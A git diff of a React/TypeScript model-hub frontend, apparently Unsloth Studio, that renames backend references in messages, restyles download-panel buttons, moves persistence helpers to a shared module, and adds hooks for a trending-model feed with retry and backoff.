diff --git a/studio/frontend/src/features/hub/components/train-icon.ts b/studio/frontend/src/features/hub/components/train-icon.ts
index 1b59bc4835..ecd02e7dca 100644
--- a/studio/frontend/src/features/hub/components/train-icon.ts
+++ b/studio/frontend/src/features/hub/components/train-icon.ts
@@ -3,6 +3,6 @@
 
 import { TestTube01Icon } from "@hugeicons/core-free-icons";
 
-// Slice to the first three paths to drop TestTube01Icon's two interior bubbles,
-// keeping the outline + cap + liquid line. Shared so the Train icon stays identical app-wide.
+// Slice to the first 3 paths to drop TestTube01Icon's two interior bubbles,
+// keeping the outline + cap + liquid line. Shared so Train stays identical app-wide.
 export const TrainIcon = TestTube01Icon.slice(0, 3) as typeof TestTube01Icon;
diff --git a/studio/frontend/src/features/hub/download-manager/api.ts b/studio/frontend/src/features/hub/download-manager/api.ts
index 2c55b90edd..ca987f1643 100644
--- a/studio/frontend/src/features/hub/download-manager/api.ts
+++ b/studio/frontend/src/features/hub/download-manager/api.ts
@@ -12,14 +12,14 @@ function parseErrorText(status: number, body: unknown): string {
     const detail = (body as { detail?: unknown }).detail;
     const formatted = formatFastApiDetail(detail);
     if (status === 405) {
-      return `${formatted || "Method Not Allowed"} - the Unsloth backend did not accept this API method. Restart Unsloth so the frontend and backend are on the same build.`;
+      return `${formatted || "Method Not Allowed"} - the Studio backend did not accept this API method. Restart Studio so the frontend and backend are on the same build.`;
     }
     if (formatted) return formatted;
     const message = (body as { message?: unknown }).message;
     if (typeof message === "string" && message) return message;
   }
   if (status === 405) {
-    return "Method Not Allowed - the Unsloth backend did not accept this API method. Restart Unsloth so the frontend and backend are on the same build.";
+    return "Method Not Allowed - the Studio backend did not accept this API method. Restart Studio so the frontend and backend are on the same build.";
   }
   return `Request failed (${status})`;
 }
@@ -137,7 +137,7 @@ const DOWNLOAD_TRANSPORT_CAPABILITIES_FALLBACK: DownloadTransportCapabilities =
   http: { available: true, reason: null },
   xet: {
     available: null,
-    reason: "Couldn't verify Xet support with the Unsloth backend.",
+    reason: "Couldn't verify Xet support with the Studio backend.",
   },
 };
 let downloadTransportCapabilitiesCache: DownloadTransportCapabilities | null =
diff --git a/studio/frontend/src/features/hub/download-manager/download-api-adapter.ts b/studio/frontend/src/features/hub/download-manager/download-api-adapter.ts
index a6518ec656..6942dfbbb9 100644
--- a/studio/frontend/src/features/hub/download-manager/download-api-adapter.ts
+++ b/studio/frontend/src/features/hub/download-manager/download-api-adapter.ts
@@ -184,7 +184,7 @@ export async function effectiveTransportMode(
     return preferred;
   }
   const reason =
-    capabilities.xet.reason ?? "Unsloth will use HTTP downloads instead.";
+    capabilities.xet.reason ?? "Studio will use HTTP downloads instead.";
   if (lastXetUnavailableWarningReason !== reason) {
     lastXetUnavailableWarningReason = reason;
     toast.warning("Xet download transport unavailable", {
diff --git a/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx b/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx
index 7dde3a1259..023cc50947 100644
--- a/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx
+++ b/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx
@@ -9,9 +9,9 @@ import {
 import { hasAuthToken, mustChangePassword } from "@/features/auth/session";
 import { isTauri } from "@/lib/api-base";
 import { cn } from "@/lib/utils";
-import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import {
   Alert02Icon,
+  ArrowDown01Icon,
   Cancel01Icon,
   CheckmarkCircle02Icon,
   Download01Icon,
@@ -138,8 +138,8 @@ function DownloadRow({ jobKey }: { jobKey: string }) {
                   : downloadManager.dismiss(job.key)
               }
               className={cn(
-                "inline-flex size-6 shrink-0 cursor-pointer items-center justify-center rounded-[7px] text-muted-foreground transition-colors",
-                "hover:bg-foreground/[0.06] hover:text-foreground disabled:cursor-default disabled:opacity-50 dark:hover:bg-white/[0.1]",
+                "inline-flex size-6 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground transition-colors",
+                "hover:bg-foreground/[0.06] hover:text-foreground disabled:cursor-default disabled:opacity-50 dark:hover:bg-white/[0.06]",
               )}
             >
               <HugeiconsIcon
@@ -220,13 +220,8 @@ export function DownloadManagerPanel() {
           </TooltipContent>
         </Tooltip>
       ) : (
-        <div className="hub-download-panel pointer-events-auto w-[min(360px,calc(100vw-2rem))] overflow-hidden">
+        <div className="hub-download-panel pointer-events-auto w-[min(400px,calc(100vw-2rem))] overflow-hidden">
           <div className="flex items-center gap-2 border-b border-foreground/[0.07] px-3 py-2">
-            <HugeiconsIcon
-              icon={Download01Icon}
-              strokeWidth={1.75}
-              className="size-4 shrink-0 text-muted-foreground"
-            />
             <span className="min-w-0 flex-1 truncate text-[12.5px] font-semibold text-foreground">
               {headerLabel}
             </span>
@@ -234,10 +229,10 @@ export function DownloadManagerPanel() {
               type="button"
               aria-label="Collapse downloads"
               onClick={() => setCollapsed(true)}
-              className="inline-flex size-6 shrink-0 cursor-pointer items-center justify-center rounded-[7px] text-muted-foreground transition-colors hover:bg-foreground/[0.06] hover:text-foreground dark:hover:bg-white/[0.1]"
+              className="inline-flex size-6 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-foreground/[0.06] hover:text-foreground dark:hover:bg-white/[0.06]"
             >
               <HugeiconsIcon
-                icon={ChevronDownStandardIcon}
+                icon={ArrowDown01Icon}
                 strokeWidth={1.75}
                 className="size-3.5"
               />
diff --git a/studio/frontend/src/features/hub/download-manager/download-manager-state.ts b/studio/frontend/src/features/hub/download-manager/download-manager-state.ts
index 5699fd62fb..c24bb1e154 100644
--- a/studio/frontend/src/features/hub/download-manager/download-manager-state.ts
+++ b/studio/frontend/src/features/hub/download-manager/download-manager-state.ts
@@ -1,25 +1,22 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { create } from "zustand";
+import { createJSONStorage, persist } from "zustand/middleware";
 import { INVENTORY_HINT_KIND } from "../inventory/constants";
 import { inventoryHintKey } from "../inventory/inventory-hints";
 import type { InventoryHint } from "../inventory/types";
-import { create } from "zustand";
-import {
-  type StateStorage,
-  createJSONStorage,
-  persist,
-} from "zustand/middleware";
+import { createThrottledStorage, noopStorage } from "../stores/persist-storage";
 import type { DownloadJobState } from "./api";
-import {
-  ACTIVE_STATES,
-  MAX_PROGRESS_FRACTION,
-} from "./download-manager-config";
 import {
   DOWNLOAD_KIND,
   type DownloadKind,
   isDownloadKind,
 } from "./constants";
+import {
+  ACTIVE_STATES,
+  MAX_PROGRESS_FRACTION,
+} from "./download-manager-config";
 import {
   type DownloadManagerState,
   type JobListeners,
@@ -36,48 +33,6 @@ const PERSIST_KEY = "unsloth.studio.downloads";
 const PERSIST_VERSION = 1;
 const PERSIST_THROTTLE_MS = 1_000;
 
-const noopStorage: StateStorage = {
-  getItem: () => null,
-  setItem: () => undefined,
-  removeItem: () => undefined,
-};
-
-function createThrottledStorage(
-  base: StateStorage,
-  delayMs: number,
-): StateStorage {
-  let timer: ReturnType<typeof setTimeout> | null = null;
-  let pending: { name: string; value: string } | null = null;
-  const flush = (): void => {
-    if (timer !== null) {
-      clearTimeout(timer);
-      timer = null;
-    }
-    if (pending) {
-      base.setItem(pending.name, pending.value);
-      pending = null;
-    }
-  };
-  if (typeof window !== "undefined") {
-    window.addEventListener("pagehide", flush);
-  }
-  return {
-    getItem: (name) => base.getItem(name),
-    setItem: (name, value) => {
-      pending = { name, value };
-      if (timer === null) timer = setTimeout(flush, delayMs);
-    },
-    removeItem: (name) => {
-      pending = null;
-      if (timer !== null) {
-        clearTimeout(timer);
-        timer = null;
-      }
-      base.removeItem(name);
-    },
-  };
-}
-
 function isRecord(value: unknown): value is Record<string, unknown> {
   return value !== null && typeof value === "object" && !Array.isArray(value);
 }
@@ -158,7 +113,7 @@ function toPersistedJob(
 }
 
 // Mirrors the backend's normalize_repo_key (strip().lower()) so two casings of
-// one repo share a key (else duplicate jobs / mismatched listeners). Keys only —
+// one repo share a key (else duplicate jobs / mismatched listeners). Keys only;
 // `repoId` keeps original casing for display and API calls.
 function normalizeRepoIdentity(repoId: string): string {
   return repoId.trim().toLowerCase();
@@ -330,8 +285,8 @@ function hasRuntimePeerForRepo(
 }
 
 // Shared rule for what blocks a fresh GGUF variant start. Peer guard passes
-// includeOwnRuntime:false (runs after this start made its own runtime); requestStart
-// passes both true (runs before any runtime or job exists).
+// includeOwnRuntime:false (runs after this start made its own runtime);
+// requestStart passes both true (runs before any runtime or job exists).
 export function hasVariantRepoActivity(
   kind: DownloadKind,
   repoId: string,
diff --git a/studio/frontend/src/features/hub/download-manager/download-manager-types.ts b/studio/frontend/src/features/hub/download-manager/download-manager-types.ts
index 27b8161eab..9851734f27 100644
--- a/studio/frontend/src/features/hub/download-manager/download-manager-types.ts
+++ b/studio/frontend/src/features/hub/download-manager/download-manager-types.ts
@@ -14,8 +14,8 @@ export interface ManagedDownload {
   state: DownloadJobState;
   downloadedBytes: number;
   // Finalized bytes on disk (excludes the in-progress `.incomplete` portion in
-  // `downloadedBytes`). The idle/registry-loss completion fallback keys off this
-  // so a partial can't be marked complete.
+  // `downloadedBytes`). The completion fallback keys off this so a partial can't
+  // be marked complete.
   completedBytes: number;
   // Server-verified completion; not trusted across reloads (hydration re-probes).
   completeOnDisk: boolean;
diff --git a/studio/frontend/src/features/hub/download-manager/download-progress-bar.tsx b/studio/frontend/src/features/hub/download-manager/download-progress-bar.tsx
index 6629305609..f28fa0c525 100644
--- a/studio/frontend/src/features/hub/download-manager/download-progress-bar.tsx
+++ b/studio/frontend/src/features/hub/download-manager/download-progress-bar.tsx
@@ -29,7 +29,7 @@ export function DownloadProgressBar({
       ? formatEta(remainingBytes / bytesPerSec)
       : "";
   return (
-    <div className="flex flex-col gap-1.5 px-3 pb-1">
+    <div className="flex flex-col gap-1.5 pb-1">
       <div className="relative h-[3px] overflow-hidden rounded-full bg-foreground/[0.06] dark:bg-white/[0.06]">
         <div
           className="h-full rounded-full bg-status-warning/80 transition-[width] duration-500 ease-linear"
diff --git a/studio/frontend/src/features/hub/download-manager/hydration.ts b/studio/frontend/src/features/hub/download-manager/hydration.ts
index a222fc4574..eb5fdee74c 100644
--- a/studio/frontend/src/features/hub/download-manager/hydration.ts
+++ b/studio/frontend/src/features/hub/download-manager/hydration.ts
@@ -129,8 +129,8 @@ const BACKEND_ADOPTERS: Record<BackendAdoptionSide, () => Promise<void>> = {
   dataset: adoptActiveDatasetDownloads,
 };
 
-// Adopt backend-running downloads this client doesn't know about. Retry only the
-// failed side(s) so transient backend readiness settles without duplicating jobs.
+// Adopt backend-running downloads this client doesn't know about. Retry only
+// the failed side(s) so backend readiness settles without duplicating jobs.
 async function hydrateBackendActiveDownloads(
   attempt = 0,
   sides: readonly BackendAdoptionSide[] = ["model", "dataset"],
diff --git a/studio/frontend/src/features/hub/download-manager/poll-loop.ts b/studio/frontend/src/features/hub/download-manager/poll-loop.ts
index 95df4afd31..c01abf6840 100644
--- a/studio/frontend/src/features/hub/download-manager/poll-loop.ts
+++ b/studio/frontend/src/features/hub/download-manager/poll-loop.ts
@@ -124,8 +124,8 @@ function withDownloadTimeout<T>(
 }
 
 export function hasObservedExpectedBytes(job: ManagedDownload): boolean {
-  // Finalized bytes only: a partial whose `.incomplete` blob merely reached the
-  // expected size must not count as finished; the backend must also verify it on disk.
+  // Finalized bytes only: an `.incomplete` blob hitting expected size isn't
+  // finished until the backend verifies it's usable on disk.
   return (
     job.expectedBytes > 0 &&
     job.completedBytes >= job.expectedBytes &&
@@ -149,9 +149,9 @@ export function resolveProgressUpdate(
   const isGgufVariantJob =
     job.kind === DOWNLOAD_KIND.MODEL && job.variant !== null;
   const backendOwnsGgufProgress = isGgufVariantJob && reported > 0;
-  // GGUF totals are backend-owned (non-monotonic). Snapshots keep the displayed
-  // total monotonic to absorb jitter, but a fresh attempt (generation changed:
-  // XET redownload, restart, re-adoption) drops the stale high-water mark.
+  // GGUF totals are backend-owned (non-monotonic); snapshots stay monotonic to
+  // absorb jitter, but a generation bump (XET redownload, restart, re-adoption)
+  // must drop the stale high-water mark and snap to the new run's bytes.
   const trustBackend = backendOwnsGgufProgress || opts.resetMonotonic === true;
   const expected = trustBackend
     ? reported > 0
@@ -177,9 +177,9 @@ export function resolveProgressUpdate(
         ? downloadedBytes / expected
         : 0;
   const cappedFraction = Math.min(rawFraction, MAX_PROGRESS_FRACTION);
-  // Keep the GGUF variant bar monotonic: its backend progress is recomputed from
-  // the shared per-repo blobs/ dir each poll, so a sibling quant or generation
-  // bump can make one reading dip. A fresh download resets via startJob's seed.
+  // Keep the GGUF variant bar monotonic: backend progress is recomputed from the
+  // shared per-repo blobs/ dir, so a sibling quant, generation bump, or
+  // no-metadata poll can dip one reading. Resets via startJob's seed fraction.
   const fraction = isGgufVariantJob
     ? Math.max(cappedFraction, job.fraction)
     : cappedFraction;
@@ -257,9 +257,9 @@ export function finalize(
     notify(job, "onCancelled", 0);
     removeJob(key);
   } else if (outcome === "complete") {
-    // Reconcile to the largest known figure so a terminal status arriving before
-    // the final progress poll doesn't leave a stale sub-total: downloaded ==
-    // completed >= expected, fraction 1, and report that figure to listeners.
+    // A terminal "complete" arriving before the final progress poll must not
+    // leave a stale sub-total. Reconcile to the largest known figure so
+    // downloaded == completed >= expected, fraction 1, and report that.
     const bytes = Math.max(
       opts.bytes ?? 0,
       job.downloadedBytes,
@@ -690,7 +690,7 @@ export async function startJob(
       });
       return;
     }
-    // A cancel pressed during this apiStart round-trip can land before the job is
+    // A cancel during this apiStart round-trip can land before the job is
     // claimable; re-issue against the accepted generation.
     if (rt.cancelRequested && result.accepted) {
       reissueDroppedStartCancel(req, result.generation);
diff --git a/studio/frontend/src/features/hub/download-manager/transport-conflict.ts b/studio/frontend/src/features/hub/download-manager/transport-conflict.ts
index 684ef544a2..9125abed70 100644
--- a/studio/frontend/src/features/hub/download-manager/transport-conflict.ts
+++ b/studio/frontend/src/features/hub/download-manager/transport-conflict.ts
@@ -152,8 +152,8 @@ export async function requestStart(req: DownloadRequest): Promise<void> {
         "Transport status check failed; starting without partial-conflict preflight.",
         err,
       );
-      // Fail safe: Xet purges any partial unconditionally, so when we couldn't
-      // verify the partial we downgrade this one start to HTTP (resumes an HTTP
+      // Fail safe: Xet purges any partial unconditionally, so when the partial
+      // can't be verified we downgrade this one start to HTTP (resumes an HTTP
       // partial, harmless for a fresh download); the Xet preference is kept for
       // next time. Only downgrade once we confirmed no sibling variant is
       // downloading, since a live sibling may be mid-transfer on Xet.
diff --git a/studio/frontend/src/features/hub/download-manager/transport-preference.ts b/studio/frontend/src/features/hub/download-manager/transport-preference.ts
index a1af2a2470..3d9c0d54cd 100644
--- a/studio/frontend/src/features/hub/download-manager/transport-preference.ts
+++ b/studio/frontend/src/features/hub/download-manager/transport-preference.ts
@@ -64,9 +64,10 @@ export function useTransportMode(): [
   }, []);
 
   const set = useCallback((next: TransportMode) => {
-    // Persist first, reflect after: the engine reads getTransportMode() fresh from
-    // localStorage at download time, so an optimistic setMode() before a failed
-    // write would show the new transport while downloads still used the old one.
+    // Persist first, reflect after: the engine reads getTransportMode() fresh
+    // from localStorage at download time, so an optimistic setMode() before a
+    // failed write (private mode / quota) would show the new transport while
+    // downloads still used the old one. On failure leave everything untouched.
     try {
       window.localStorage.setItem(STORAGE_KEY, next);
     } catch {
diff --git a/studio/frontend/src/features/hub/download-manager/use-repo-download.ts b/studio/frontend/src/features/hub/download-manager/use-repo-download.ts
index 374e6b1f44..46b5fae6bb 100644
--- a/studio/frontend/src/features/hub/download-manager/use-repo-download.ts
+++ b/studio/frontend/src/features/hub/download-manager/use-repo-download.ts
@@ -52,8 +52,8 @@ export interface RepoDownloadConfig {
 
 /**
  * Binds a single download surface (one repo, optionally per GGUF variant) to the
- * global download manager. Job state and polling live in the store, so a download
- * keeps running and stays visible after the card unmounts.
+ * global download manager. Job state and polling live in the store, so a
+ * download keeps running and stays visible after the card unmounts.
  */
 export function useRepoDownload(config: RepoDownloadConfig): DownloadJob {
   const {
diff --git a/studio/frontend/src/features/hub/hooks/use-discover-search.ts b/studio/frontend/src/features/hub/hooks/use-discover-search.ts
index 6c11ca8dc4..a11a40ee9b 100644
--- a/studio/frontend/src/features/hub/hooks/use-discover-search.ts
+++ b/studio/frontend/src/features/hub/hooks/use-discover-search.ts
@@ -1,10 +1,11 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { useCallback, useEffect, useMemo, useRef } from "react";
+import { useCallback, useEffect, useRef } from "react";
 import { toast } from "@/lib/toast";
 import {
   type HfModelResult,
+  type HfModelSearchChannel,
   type HfSortDirection,
   type HfSortKey,
   useHubModelSearch,
@@ -13,7 +14,6 @@ import {
   type HfDatasetResult,
   useHubDatasetSearch,
 } from "./use-hub-dataset-search";
-import type { ChannelPreset } from "../lib/channels";
 
 export interface DiscoverSearch {
   results: HfModelResult[];
@@ -86,7 +86,8 @@ export function useDiscoverSearch({
   isDatasetMode,
   sortBy,
   direction,
-  activeChannel,
+  channel,
+  ownerScope,
   online,
 }: {
   debouncedQuery: string;
@@ -95,31 +96,19 @@ export function useDiscoverSearch({
   isDatasetMode: boolean;
   sortBy: HfSortKey;
   direction: HfSortDirection;
-  activeChannel: ChannelPreset | null;
+  channel: HfModelSearchChannel | null;
+  ownerScope: "unsloth" | "all";
   online: boolean;
 }): DiscoverSearch {
-  const channelOption = useMemo(
-    () =>
-      activeChannel
-        ? {
-            owner: activeChannel.owner,
-            tags: activeChannel.tags,
-            query: activeChannel.query,
-            idSuffix: activeChannel.idSuffix,
-          }
-        : null,
-    [activeChannel],
-  );
-
   const modelSearch = useHubModelSearch(debouncedQuery, {
     accessToken,
     sortBy,
     sortDirection: direction,
-    pinUnslothFirst:
-      sortBy === "trendingScore" && direction === "desc" && !activeChannel,
+    pinUnslothFirst: true,
+    ownerScope,
     enabled: online && isDiscoverTab && !isDatasetMode,
     keepUnsupportedTags: true,
-    channel: channelOption,
+    channel,
   });
   const datasetSearch = useHubDatasetSearch(debouncedQuery, {
     accessToken,
diff --git a/studio/frontend/src/features/hub/hooks/use-feed-write-back.ts b/studio/frontend/src/features/hub/hooks/use-feed-write-back.ts
new file mode 100644
index 0000000000..815a17edd6
--- /dev/null
+++ b/studio/frontend/src/features/hub/hooks/use-feed-write-back.ts
@@ -0,0 +1,31 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useEffect, useMemo, useRef } from "react";
+import type { ChannelId } from "../lib/channels";
+import { fingerprintToken } from "../lib/token-fingerprint";
+import { useHubFeedStore } from "../stores/hub-feed-store";
+import type { HfModelResult } from "./use-hub-model-search";
+
+export function useFeedWriteBack(opts: {
+  channelId: ChannelId | null;
+  results: HfModelResult[];
+  isLoading: boolean;
+  accessToken: string | undefined;
+}): void {
+  const { channelId, results, isLoading, accessToken } = opts;
+  const setChannelEntry = useHubFeedStore((s) => s.setChannelEntry);
+  const tokenFingerprint = useMemo(
+    () => fingerprintToken(accessToken),
+    [accessToken],
+  );
+  const writtenKeyRef = useRef<string | null>(null);
+
+  useEffect(() => {
+    if (!channelId || isLoading || results.length === 0) return;
+    const key = `${channelId}:${tokenFingerprint}`;
+    if (writtenKeyRef.current === key) return;
+    writtenKeyRef.current = key;
+    setChannelEntry(channelId, results, tokenFingerprint);
+  }, [channelId, isLoading, results, tokenFingerprint, setChannelEntry]);
+}
diff --git a/studio/frontend/src/features/hub/hooks/use-hub-dataset-search.ts b/studio/frontend/src/features/hub/hooks/use-hub-dataset-search.ts
index a232c0730a..40e1696dec 100644
--- a/studio/frontend/src/features/hub/hooks/use-hub-dataset-search.ts
+++ b/studio/frontend/src/features/hub/hooks/use-hub-dataset-search.ts
@@ -50,6 +50,12 @@ export interface HfDatasetResult {
   id: string;
   downloads: number;
   likes: number;
+  private?: boolean;
+  gated?: false | "auto" | "manual";
+  updatedAt?: string;
+  createdAt?: string;
+  downloadsAllTime?: number;
+  prettyName?: string;
   totalExamples?: number;
   sizeCategory?: string;
   taskCategories: string[];
@@ -60,7 +66,12 @@ function mapDataset(raw: unknown): HfDatasetResult {
   const ds = raw as {
     name: string;
     downloads?: number;
+    downloadsAllTime?: number;
     likes?: number;
+    private?: boolean;
+    gated?: false | "auto" | "manual";
+    updatedAt?: Date | string;
+    createdAt?: Date | string;
     tags?: string[];
     cardData?: unknown;
   };
@@ -70,10 +81,28 @@ function mapDataset(raw: unknown): HfDatasetResult {
     .filter((t) => t.startsWith("task_categories:"))
     .map((t) => t.slice("task_categories:".length));
   const plainTags = tags.filter((t) => !t.includes(":"));
+  const updatedAt =
+    ds.updatedAt instanceof Date
+      ? ds.updatedAt.toISOString()
+      : typeof ds.updatedAt === "string"
+        ? ds.updatedAt
+        : undefined;
+  const createdAt =
+    ds.createdAt instanceof Date
+      ? ds.createdAt.toISOString()
+      : typeof ds.createdAt === "string"
+        ? ds.createdAt
+        : undefined;
   return {
     id: ds.name,
     downloads: ds.downloads ?? 0,
     likes: ds.likes ?? 0,
+    private: ds.private,
+    gated: ds.gated,
+    updatedAt,
+    createdAt,
+    downloadsAllTime: ds.downloadsAllTime,
+    prettyName: card?.pretty_name,
     totalExamples: extractTotalExamples(card),
     sizeCategory: card?.size_categories?.[0],
     taskCategories,
@@ -392,7 +421,7 @@ export function useHubDatasetSearch(
       }
       return listDatasets({
         search: hasQuery ? { query } : {},
-        additionalFields: ["cardData", "tags"],
+        additionalFields: ["cardData", "tags", "createdAt", "downloadsAllTime"],
         fetch: makeDatasetSortFetch(sortBy, sortDirection, signal),
         ...(accessToken ? { credentials: { accessToken } } : {}),
       }) as AsyncGenerator<unknown>;
diff --git a/studio/frontend/src/features/hub/hooks/use-hub-feed.ts b/studio/frontend/src/features/hub/hooks/use-hub-feed.ts
new file mode 100644
index 0000000000..353685baaf
--- /dev/null
+++ b/studio/frontend/src/features/hub/hooks/use-hub-feed.ts
@@ -0,0 +1,258 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useCallback, useEffect, useMemo, useRef, useState } from "react";
+import { type ChannelId, findChannel } from "../lib/channels";
+import { fingerprintToken } from "../lib/token-fingerprint";
+import { isChannelEntryFresh, useHubFeedStore } from "../stores/hub-feed-store";
+import {
+  type HfModelResult,
+  fetchChannelFirstPage,
+} from "./use-hub-model-search";
+
+export type FeedStatus = "idle" | "loading" | "refreshing" | "ready" | "error";
+
+export interface HubFeedSection {
+  channelId: ChannelId;
+  results: HfModelResult[];
+  status: FeedStatus;
+  isLoading: boolean;
+  isRefreshing: boolean;
+  error: string | null;
+}
+
+export interface UseHubFeedResult {
+  trending: HubFeedSection;
+  refetch: (id: ChannelId) => void;
+}
+
+// Only the trending row is rendered in the feed now; "Fine-tune ready" moved
+// into the format dropdown and loads its channel on demand (channel-list mode).
+const CHANNEL_IDS: readonly ChannelId[] = ["unsloth-trending"];
+const FEED_PAGE_SIZE = 20;
+const MAX_RETRIES = 5;
+const BACKOFF_BASE_MS = 800;
+const BACKOFF_CAP_MS = 15_000;
+
+function backoffDelay(attempt: number): number {
+  const base = Math.min(BACKOFF_CAP_MS, BACKOFF_BASE_MS * 2 ** attempt);
+  return Math.round(base * (0.5 + Math.random() * 0.5));
+}
+
+function isAbortError(err: unknown): boolean {
+  return err instanceof DOMException && err.name === "AbortError";
+}
+
+function channelRecord<T>(value: T): Record<ChannelId, T> {
+  return {
+    "unsloth-trending": value,
+    "unsloth-latest": value,
+    "unsloth-safetensors": value,
+  };
+}
+
+export function useHubFeed(opts: {
+  accessToken: string | undefined;
+  online: boolean;
+  enabled: boolean;
+  deviceType: string | null;
+}): UseHubFeedResult {
+  const { accessToken, online, enabled, deviceType } = opts;
+  const tokenFingerprint = useMemo(
+    () => fingerprintToken(accessToken),
+    [accessToken],
+  );
+
+  const channels = useHubFeedStore((s) => s.channels);
+  const setChannelEntry = useHubFeedStore((s) => s.setChannelEntry);
+  const clearForToken = useHubFeedStore((s) => s.clearForToken);
+
+  const [statuses, setStatuses] = useState<Record<ChannelId, FeedStatus>>(() =>
+    channelRecord<FeedStatus>("idle"),
+  );
+  const [errors, setErrors] = useState<Record<ChannelId, string | null>>(() =>
+    channelRecord<string | null>(null),
+  );
+
+  const abortRefs = useRef<Record<ChannelId, AbortController | null>>(
+    channelRecord<AbortController | null>(null),
+  );
+  const timerRefs = useRef<
+    Record<ChannelId, ReturnType<typeof setTimeout> | null>
+  >(channelRecord<ReturnType<typeof setTimeout> | null>(null));
+  const inFlightRefs = useRef<Record<ChannelId, boolean>>(
+    channelRecord<boolean>(false),
+  );
+  const versionRefs = useRef<Record<ChannelId, number>>(
+    channelRecord<number>(0),
+  );
+  const onlineRef = useRef(online);
+
+  const setStatus = useCallback((id: ChannelId, status: FeedStatus) => {
+    setStatuses((prev) =>
+      prev[id] === status ? prev : { ...prev, [id]: status },
+    );
+  }, []);
+  const setError = useCallback((id: ChannelId, error: string | null) => {
+    setErrors((prev) => (prev[id] === error ? prev : { ...prev, [id]: error }));
+  }, []);
+
+  const runChannel = useCallback(
+    (id: ChannelId) => {
+      if (inFlightRefs.current[id]) return;
+      const preset = findChannel(id);
+      if (!preset) return;
+
+      const hadCache =
+        (useHubFeedStore.getState().channels[id]?.results.length ?? 0) > 0;
+      const version = (versionRefs.current[id] += 1);
+      inFlightRefs.current[id] = true;
+      abortRefs.current[id]?.abort();
+      const controller = new AbortController();
+      abortRefs.current[id] = controller;
+
+      const isStale = () =>
+        controller.signal.aborted || versionRefs.current[id] !== version;
+
+      const settle = (status: FeedStatus, message: string | null) => {
+        inFlightRefs.current[id] = false;
+        setStatus(id, status);
+        if (status === "error") setError(id, message);
+      };
+
+      const scheduleRetry = (attempt: number, message: string | null) => {
+        if (isStale()) {
+          inFlightRefs.current[id] = false;
+          return;
+        }
+        if (attempt >= MAX_RETRIES) {
+          settle(hadCache ? "ready" : "error", message ?? "No results");
+          return;
+        }
+        if (!onlineRef.current) {
+          inFlightRefs.current[id] = false;
+          return;
+        }
+        timerRefs.current[id] = setTimeout(() => {
+          timerRefs.current[id] = null;
+          void attemptFetch(attempt + 1);
+        }, backoffDelay(attempt));
+      };
+
+      const attemptFetch = async (attempt: number): Promise<void> => {
+        if (isStale()) {
+          inFlightRefs.current[id] = false;
+          return;
+        }
+        if (!onlineRef.current) {
+          inFlightRefs.current[id] = false;
+          return;
+        }
+        if (attempt === 0) {
+          setStatus(id, hadCache ? "refreshing" : "loading");
+          setError(id, null);
+        }
+        try {
+          const { results } = await fetchChannelFirstPage({
+            channel: {
+              owner: preset.owner,
+              tags: preset.tags,
+              query: preset.query,
+              idSuffix: preset.idSuffix,
+            },
+            sortBy: preset.sort,
+            sortDirection: "desc",
+            accessToken,
+            signal: controller.signal,
+            pageSize: FEED_PAGE_SIZE,
+            deviceType,
+            keepUnsupportedTags: true,
+          });
+          if (isStale()) return;
+          if (results.length > 0) {
+            setChannelEntry(id, results, tokenFingerprint);
+            settle("ready", null);
+            return;
+          }
+          settle("ready", null);
+        } catch (err) {
+          if (isStale() || isAbortError(err)) return;
+          scheduleRetry(
+            attempt,
+            err instanceof Error ? err.message : "Failed to load",
+          );
+        }
+      };
+
+      queueMicrotask(() => void attemptFetch(0));
+    },
+    [
+      accessToken,
+      tokenFingerprint,
+      deviceType,
+      setChannelEntry,
+      setStatus,
+      setError,
+    ],
+  );
+
+  useEffect(() => {
+    onlineRef.current = online;
+    const cleanup = () => {
+      for (const id of CHANNEL_IDS) {
+        abortRefs.current[id]?.abort();
+        abortRefs.current[id] = null;
+        const timer = timerRefs.current[id];
+        if (timer) clearTimeout(timer);
+        timerRefs.current[id] = null;
+        inFlightRefs.current[id] = false;
+        versionRefs.current[id] += 1;
+      }
+    };
+    if (!enabled) return cleanup;
+    if (useHubFeedStore.getState().tokenFingerprint !== tokenFingerprint) {
+      clearForToken(tokenFingerprint);
+    }
+    if (!online) return cleanup;
+    for (const id of CHANNEL_IDS) {
+      const entry = useHubFeedStore.getState().channels[id];
+      if (isChannelEntryFresh(entry, id, tokenFingerprint)) continue;
+      runChannel(id);
+    }
+    return cleanup;
+  }, [enabled, online, tokenFingerprint, clearForToken, runChannel]);
+
+  const refetch = useCallback(
+    (id: ChannelId) => {
+      const timer = timerRefs.current[id];
+      if (timer) {
+        clearTimeout(timer);
+        timerRefs.current[id] = null;
+      }
+      inFlightRefs.current[id] = false;
+      runChannel(id);
+    },
+    [runChannel],
+  );
+
+  const buildSection = useCallback(
+    (id: ChannelId): HubFeedSection => {
+      const results = channels[id]?.results ?? [];
+      const status = statuses[id];
+      return {
+        channelId: id,
+        results,
+        status,
+        isLoading: status === "loading" && results.length === 0,
+        isRefreshing: status === "refreshing",
+        error: results.length === 0 ? errors[id] : null,
+      };
+    },
+    [channels, statuses, errors],
+  );
+
+  return {
+    trending: buildSection("unsloth-trending"),
+    refetch,
+  };
+}
diff --git a/studio/frontend/src/features/hub/hooks/use-hub-infinite-scroll.ts b/studio/frontend/src/features/hub/hooks/use-hub-infinite-scroll.ts
index 2f37e2e713..82840f71df 100644
--- a/studio/frontend/src/features/hub/hooks/use-hub-infinite-scroll.ts
+++ b/studio/frontend/src/features/hub/hooks/use-hub-infinite-scroll.ts
@@ -6,10 +6,14 @@ import { useCallback, useEffect, useRef, useState } from "react";
 /**
  * IntersectionObserver sentinel for infinite scroll, plus a ResizeObserver
